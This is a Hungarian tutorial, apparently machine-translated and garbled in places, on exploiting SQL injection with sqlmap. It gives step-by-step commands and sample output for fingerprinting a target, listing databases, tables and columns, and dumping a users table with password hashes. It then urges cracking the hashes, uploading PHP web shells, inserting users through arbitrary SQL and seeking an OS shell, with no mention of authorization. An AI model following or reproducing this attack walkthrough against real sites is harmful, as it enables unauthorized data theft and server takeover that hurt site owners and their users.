Sqlmap
Sqlmap az egyik legnépszerűbb és leghatékonyabb sql injection automatizálási eszköz odakinn. Mivel a sérülékeny http kérés url, sqlmap tudja kihasználni a távoli adatbázist, és nem sok hacker, mint a kitermelése adatbázis nevét, táblázatok, oszlopok, az összes adatot a táblázatokban stb.
bizonyos feltételek mellett fájlokat is tud olvasni és írni a távoli fájlrendszeren. Pythonban írva ez az egyik legerősebb hacker eszköz. Az Sqlmap az sql injekciók metasploitja.
az Sqlmap a linux disztribúciók, például a kali linux, a backtrack, a backbox stb. Más disztrókon egyszerűen letölthető a következő url-ről
http://sqlmap.org/.
mivel Pythonban íródott, először telepítenie kell a Pythont a rendszerére. Az Ubuntuban telepítse a python-t a synaptic-ból. Windows rendszeren telepítse az activestate python alkalmazást. Nézd meg ezt a bejegyzést a részleteket, hogyan kell telepíteni és futtatni sqlmap windows.
az sqlmap paranccsal használható opciók és paraméterek listájához nézze meg az sqlmap dokumentációját a
https://github.com/sqlmapproject/sqlmap/wiki/Usage
ebben az oktatóanyagban megtanuljuk, hogyan kell használni az sqlmap-et egy sebezhető webes alkalmazás kihasználásához, és meglátjuk, mit lehet tenni egy ilyen eszközzel.
a bemutató megértéséhez alapos ismeretekkel kell rendelkeznie arról, hogyan működnek az adatbázis-alapú webes alkalmazások. Például azok készült php+mysql.
sérülékeny URL-ek
tegyük fel, hogy van egy webalkalmazás vagy webhely, amelynek url-je van, mint ez
http://www.site.com/section.php?id=51
és hajlamos az sql injekcióra, mert a webhely fejlesztője nem kerülte el megfelelően a paraméterazonosítót. Ez egyszerűen tesztelhető az url megnyitásával
http://www.site.com/section.php?id=51'
csak egyetlen idézetet adtunk hozzá a paraméterhez. Ha ez az url hibát okoz, vagy váratlan módon reagál, akkor egyértelmű, hogy az adatbázis megkapta a váratlan egyetlen idézetet, amelyet az alkalmazás nem ment el megfelelően. Tehát ebben az esetben ez az “id” bemeneti paraméter sebezhető az sql injekcióval szemben.
hackelés sqlmap
most itt az ideje, hogy lépni sqlmap hack ilyen URL-eket. Az sqlmap parancs a terminálról fut a python tolmács segítségével.
1. Távoli rendszer beolvasása
Az első parancs megvizsgálja a távoli rendszert, hogy lássa, sebezhető-e az sql injekcióval szemben, majd információkat gyűjt róla.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51"
a fenti az első és legegyszerűbb parancs az sqlmap eszközzel. Ellenőrzi a bemeneti paramétereket, hogy megtalálják-e az sql injekciót vagy sem. Ehhez az sqlmap különböző típusú SQL injection hasznos terheléseket küld a bemeneti paraméternek, és ellenőrzi a kimenetet.
a folyamat során az sqlmap képes azonosítani a távoli rendszer operációs rendszerét, az adatbázis nevét és verzióját. Így nézhet ki a kimenet
starting at 12:10:33 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5
tehát az sqlmap eszköz felfedezte az operációs rendszert, a webszervert és az adatbázist a verzióinformációkkal együtt. Még ez is elég lenyűgöző. De itt az ideje, hogy továbblépjünk, és megnézzük, mire képes még ez az eszköz.
2. Adatbázisok felfedezése
Miután az Sqlmap megerősíti, hogy egy távoli url sebezhető az sql-befecskendezéssel szemben, és kihasználható, a következő lépés a távoli rendszeren létező adatbázisok nevének megismerése. A” –dbs ” opció az adatbázis lista lekérésére szolgál.
$ python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs
a kimenet valami hasonló lehet
starting at 12:12:56 resuming back-end DBMS 'mysql' testing connection to the target urlsqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Place: GETParameter: id Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)--- the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching database names the SQL query used returns 2 entries resumed: information_schema resumed: safecosmeticsavailable databases : information_schema safecosmetics
A kimenet a távoli rendszer meglévő adatbázisait mutatja.
3. Táblázatok keresése egy adott adatbázisban
itt az ideje, hogy megtudja, milyen táblák léteznek egy adott adatbázisban. Tegyük fel, hogy az adatbázis érdekes itt ‘safecosmetics’
Command
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics
és a kimenet lehet valami hasonló ehhez
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching tables for database: 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 216 entries retrieved: acl_acl retrieved: acl_acl_sections........... more tables
nem ez a csodálatos ? persze, ha igen. Lehetővé teszi, hogy az oszlopok egy adott tábla most.
4. Táblázat oszlopainak letöltése
most, hogy nálunk van a táblázatok listája, jó ötlet lenne megszerezni néhány fontos táblázat oszlopait. Tegyük fel, hogy a táblázat ‘felhasználók’, és tartalmazza a felhasználónevet és a jelszót.
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users
a kimenet valami hasonló lehet
the back-end DBMS is MySQLweb server operating system: FreeBSDweb application technology: Apache 2.2.22back-end DBMS: MySQL 5 fetching columns for table 'users' in database 'safecosmetics' heuristics detected web page charset 'ascii' the SQL query used returns 8 entries retrieved: id retrieved: int(11) retrieved: name retrieved: text retrieved: password retrieved: text....... retrieved: hash retrieved: varchar(128)Database: safecosmeticsTable: users+-------------------+--------------+| Column | Type |+-------------------+--------------+| email | text || hash | varchar(128) || id | int(11) || name | text || password | text || permission | tinyint(4) || system_allow_only | text || system_home | text |+-------------------+--------------+
tehát most az oszlopok jól láthatóak. Szép munka!
5. Adatok beolvasása egy táblázatból
most jön a legérdekesebb rész, az adatok kinyerése a táblázatból. A parancs a következő lenne:
$ python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users
a fenti parancs egyszerűen kiírja az adott táblázat adatait, nagyon hasonlóan a mysqldump parancshoz.
a kimenet hasonló lehet ehhez
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| id | hash | name | email | password | permission | system_home | system_allow_only |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
úgy tűnik, hogy a hash oszlopban van a jelszó hash. Próbálja meg feltörni a hash-ot, majd azonnal megkapja a bejelentkezési adatokat. az sqlmap létrehoz egy CSV fájlt, amely tartalmazza a dump adatokat az egyszerű elemzés érdekében.
eddig sok információt tudtunk gyűjteni a távoli adatbázisból az sqlmap segítségével. Szinte olyan, mintha közvetlen hozzáférést biztosítana a távoli adatbázishoz egy olyan kliensen keresztül, mint a phpmyadmin. Valós esetekben a hackerek megpróbálnának magasabb szintet elérni a rendszerhez való hozzáféréshez. Ehhez megpróbálják feltörni a jelszó kivonatokat, és megpróbálnak bejelentkezni az admin panelen keresztül. Vagy megpróbálnának os héjat szerezni az sqlmap használatával.
újabb bejegyzést írtam az sqlmap használatáról, hogy további részleteket kapjak a távoli adatbázisokról. Elmagyarázza az sqlmap egyéb lehetőségeit, amelyek hasznosak az adatbázis felhasználóinak, jogosultságainak és jelszavának kivonatolásához.
mi a következő lépés ?
miután képes beolvasni és adatokat gyűjteni egy sebezhető rendszerből, ideje kihasználni azt, és megnézni, hogy lehetséges-e hozzáférni a rendszerhez. Az Sqlmap jó néhány dolgot megtehet, mint például az sql lekérdezések végrehajtása a távoli rendszeren, távoli héj indítása a rendszeren stb.
1. Tetszőleges sql lekérdezések végrehajtása
Ez valószínűleg a legegyszerűbb dolog egy olyan kiszolgálón, amely sebezhető az sql injekcióval szemben. A — sql-query paraméter használható a végrehajtandó sql lekérdezés megadására. Érdekes dolog lenne egy felhasználó létrehozása a felhasználók táblában vagy valami hasonló. Vagy lehet változtatni / módosítani a tartalmát cms oldalak stb.
egy másik paraméter –az sql-shell egy SQL shell-szerű felületet adna a lekérdezések interaktív futtatásához.
2. Menj be az admin panel és játszani
Ha a honlapon fut valamilyen egyéni cms vagy valami hasonló, hogy van egy admin panel, akkor lehet, hogy lehet bejutni, feltéve, hogy meg tudja feltörni a jelszót letölteni az adatbázis dump. Az egyszerű és rövid jelszavakat egyszerűen durva kényszerítéssel vagy google.com.
ellenőrizze, hogy az admin panel engedélyezi-e a fájlok feltöltését. Ha tetszőleges php fájlt lehet feltölteni, akkor sokkal nagyobb móka lesz. A php fájl tartalmazhat shell_exec, system, exec vagy passthru függvényhívásokat, amelyek lehetővé teszik az arbitary rendszer parancsok végrehajtását. Php web shell szkriptek lehet feltölteni, hogy nem ugyanaz a dolog.
3. Shell távoli operációs rendszeren
ezt kell tenni a szerver teljes átvétele érdekében. Ne feledje azonban, hogy ez nem olyan egyszerű és triviális, mint a fent bemutatott trükkök. sqlmap jön egy paraméter hívás-os-shell, hogy lehet használni, hogy megpróbálja, hogy egy shell távoli rendszer, de számos korlátai saját.
az sqlmap kézikönyv szerint
It is possible to run arbitrary commands on the database server's underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
az aktuális adatbázis-felhasználó legfontosabb jogosultsága, hogy fájlokat írjon az adatbázis-funkciókon keresztül. Ez a legtöbb esetben hiányzik. Ezért ez a technika a legtöbb esetben nem fog működni.
Megjegyzés
1. Néha az sqlmap egyáltalán nem tud csatlakozni az url-hez. Ez akkor látható, amikor elakad a “cél url-hez való kapcsolat tesztelése”első feladatánál. Ilyen esetekben hasznos a “–random-agent” opció használata. Ezáltal az sqlmap érvényes felhasználói ügynök-aláírást használ, mint amilyeneket egy böngésző, például a chrome vagy a firefox küld.
2. Olyan URL-ek esetén, amelyek nem a param=value formában vannak, az sqlmap nem tudja automatikusan tudni, hová kell beadni. Például mvc URL-ek, mint a http://www.site.com/class_name/method/43/80.
ilyen esetekben az sqlmap-et meg kell mondani az a *
http://www.site.com/class_name/method/43*/80
a fentiek azt fogják mondani az sqlmap-nek, hogy a *
3 jelzésű ponton adja be az injekciót. Ha olyan űrlapokat használ, amelyek adatokat küldenek post módszerrel, akkor az sqlmap-nek meg kell adnia a post adatokat a “–data” opciókban. További információért nézze meg ezt az oktatóanyagot az sqlmap űrlapokkal történő használatáról.